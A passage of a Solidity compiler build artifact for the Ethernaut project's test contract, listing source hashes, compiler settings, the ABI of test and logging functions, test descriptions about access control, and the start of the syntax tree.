HRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/Ethernaut.t.sol\":{\"keccak256\":\"0xcb52430dd519d6d66027e392518e02efd258b8e8839cc47eee7a2325e3def1ce\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d0ad04091d1d9fb8b84fc5c12faf376ca22aa7cfb8ec4861f75b8061ad86ca58\",\"dweb:/ipfs/QmdBcPPJRJGQGW1kqG8anFxBJ7YP2XQDzcMwydqsie3c8n\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testDoubleCompletion"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testLevelCompletion"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testLevelNonCompletion"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testManufactureInstance"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testNonRegisteredLevel"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testUploadLevel"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testUseOtherPlayerInstance"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testDoubleCompletion()":{"notice":"Should not allow a player to generate 2 completion logs with the same instance."},"testLevelCompletion()":{"notice":"Should provide instances and verify completion."},"testLevelNonCompletion()":{"notice":"Should provide instances and verify non-completion."},"testManufactureInstance()":{"notice":"Should not allow a player to manufacture a solution instance."},"testNonRegisteredLevel()":{"notice":"Should not provide instances to non-registered level factories."},"testUploadLevel()":{"notice":"Should not allow anyone but the owner to upload a level."},"testUseOtherPlayerInstance()":{"notice":"Should not allow player A to use player's B instance to complete a level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/Ethernaut.t.sol":"TestEthernaut"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/Manufactured.sol":{"keccak256":"0xdcdc8bb4a0170a4a015ce38a92483ccc1594c498fdd8f21c4b154f6567f15f87","urls":["bzz-raw://0b37ea5fcc4408f816a252feda3bdc8fc0bdded1781c1719328c784042807f67","dweb:/ipfs/QmPtqNhmnYmvMhzM5xShHo9yLK3BY11Z7MJymff311Udqh"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/Fallback.sol":{"keccak256":"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296","urls":["bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41","dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS"],"license":"MIT"},"src/levels/FallbackFactory.sol":{"keccak256":"0xcf8386db2b09f2b0d458d8e600bec419e1d08f44946c09384dd400c5d165695c","urls":["bzz-raw://458622b6c09742090ea14f614bf159aeda6d0c29f647f7b1f4a4576ff14fbde2","dweb:/ipfs/QmWZaqoCvusCmENadV6ezMPd1Q2TkZrnYi7QVNHxqUyLdb"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/Ethernaut.t.sol":{"keccak256":"0xcb52430dd519d6d66027e392518e02efd258b8e8839cc47eee7a2325e3def1ce","urls":["bzz-raw://d0ad04091d1d9fb8b84fc5c12faf376ca22aa7cfb8ec4861f75b8061ad86ca58","dweb:/ipfs/QmdBcPPJRJGQGW1kqG8anFxBJ7YP2XQDzcMwydqsie3c8n"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/Ethernaut.t.sol","id":58856,"exportedSymbols":{"Dummy":[52095],"DummyFactory":[52145],"Ethernaut":[49101],"FallbackFactory":[52434],"Manufactured":[49625],"ProxyStats":[58028],"Statistics":[56450],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestEthernaut":[58855],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:6413:120","nodes":[{"id":58030,"nodeType":"PragmaDirective","src":"32:23:120","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":58031,"nodeType":"ImportDirective","src":"57:28:120","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":58033,"nodeType":"ImportDirective","src":"86:43:120","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":58032,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58035,"nodeType":"ImportDirective","src":"131:44:120","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":58034,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"139:9:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58037,"nodeType":"ImportDirective","src":"176:54:120","nodes":[],"absolutePath":"src/metrics/Statistics.sol","file":"src/metrics/Statistics.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":56451,"symbolAliases":[{"foreign":{"id":58036,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"184:10:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58039,"nodeType":"ImportDirective","src":"231:52:120","nodes":[],"absolutePath":"src/proxy/ProxyStats.sol","file":"src/proxy/ProxyStats.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":58029,"symbolAliases":[{"foreign":{"id":58038,"name":"ProxyStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58028,"src":"239:10:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":5804